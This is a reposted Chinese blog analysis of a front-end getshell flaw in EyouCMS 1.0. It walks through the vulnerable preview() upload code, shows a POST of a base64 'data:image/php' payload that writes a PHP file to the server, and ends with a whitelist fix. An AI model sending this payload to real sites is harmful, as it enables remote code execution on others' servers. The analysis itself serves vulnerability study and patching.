eyoucms 1.0前台getshell分析

admin 2022年7月7日13:00:02评论274 views字数 2039阅读6分47秒阅读模式

声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系刘一手。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

框架简介

EyouCms是一个自由和开放源码的内容管理系统,它是一个可以独立使用的内容发布系统(CMS)

环境搭建

EyouCms v1.0 源码、phpstudy 

在phpstudy新建一个网站(需要把源码放在网站根目录)eyoucms 1.0前台getshell分析将源码下载下来解压放在eyoucms目录下eyoucms 1.0前台getshell分析浏览器输入http://127.0.0.1:7000进行安装 安装好的前台界面eyoucms 1.0前台getshell分析

漏洞点

eyoucms是基于thinkphp5开发的,所以

漏洞出现的位置applicationapicontrollerUploadify.php

漏洞函数是preview()

data:image:将dataurl转成图片image方法。可以利用改方法把恶意代码进行base64编码传入(不只是可以传入图片,还可以传入其他)

例如:传入<?php phpinfo();?>
data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+

存在漏洞的代码如下

eyoucms 1.0前台getshell分析

代码解析
$src = file_get_contents('php://input'); //使用php伪协议进行写入
//正则获取是否是图片base64编码数据, data:image/php;base64就可以绕过这个正则.$matches被赋值为搜索出来的结果
if (preg_match("#^data:image/(w+);base64,(.*)$#", $src, $matches)) {
$previewUrl = sprintf(
"%s://%s%s",
isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
$_SERVER['HTTP_HOST'],$_SERVER['REQUEST_URI']
);

$previewUrl = str_replace("preview.php", "", $previewUrl);//获取路径
$base64 = $matches[2]; //获取base64数据
$type = $matches[1]; //获取base64后缀,此时的后缀是php
if ($type === 'jpeg') { //if语句进行判断,如果此时后缀是jpeg则后缀变为jpg,但是如果后缀是php,那后缀还是php,后缀名可以被外部控制
$type = 'jpg';
}

$filename = md5($base64).".$type"; // 将传入的base64进行md5加密形成文件名,$type变量 也就是后缀名 这里我们可以控制
$filePath = $DIR.DIRECTORY_SEPARATOR.$filename; //文件存放的位置,也就是preveiw/文件名

if (file_exists($filePath)) { // 判断文件是否存在,存在则返回存在的路径
die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
} else {
$data = base64_decode($base64); //不存在则进行base64解密,比如写入的是PD9waHAgcGhwaW5mbygpOz8+,则进行base64解密:<?php phpinfo();?>
file_put_contents($filePath, $data); //写入文件,生成文件
die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
}

利用

输入:http://192.168.0.104:7000/index.php/api/Uploadify/preview

如果返回如下界面,则可能存在漏洞eyoucms 1.0前台getshell分析

构造写入 首先进行base64编码:PD9waHAgcGhwaW5mbygpOz8+ 

在线编码平台https://base64.us/eyoucms 1.0前台getshell分析post传入:data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+ 

这里是用的burp进行抓包eyoucms 1.0前台getshell分析浏览器中:

http://192.168.0.104:7000/preview/5f38ff3c8c94a7347e0ff5b0c1fb0512.phpeyoucms 1.0前台getshell分析

python进行漏洞验证

eyoucms 1.0前台getshell分析

修复方法

设置黑白名单 列如:设置白名单

if (!in_array($type, array('jpg', 'png', 'jpeg', 'gif'), true)) {
exit;
}

欢 迎 加入学习





机器人md5解密丫

eyoucms 1.0前台getshell分析

eyoucms 1.0前台getshell分析

eyoucms 1.0前台getshell分析


推 荐 阅 读





eyoucms 1.0前台getshell分析
eyoucms 1.0前台getshell分析
eyoucms 1.0前台getshell分析


原文始发于微信公众号(鹏组安全):eyoucms 1.0前台getshell分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月7日13:00:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   eyoucms 1.0前台getshell分析https://cn-sec.com/archives/1163615.html

发表评论

匿名网友 填写信息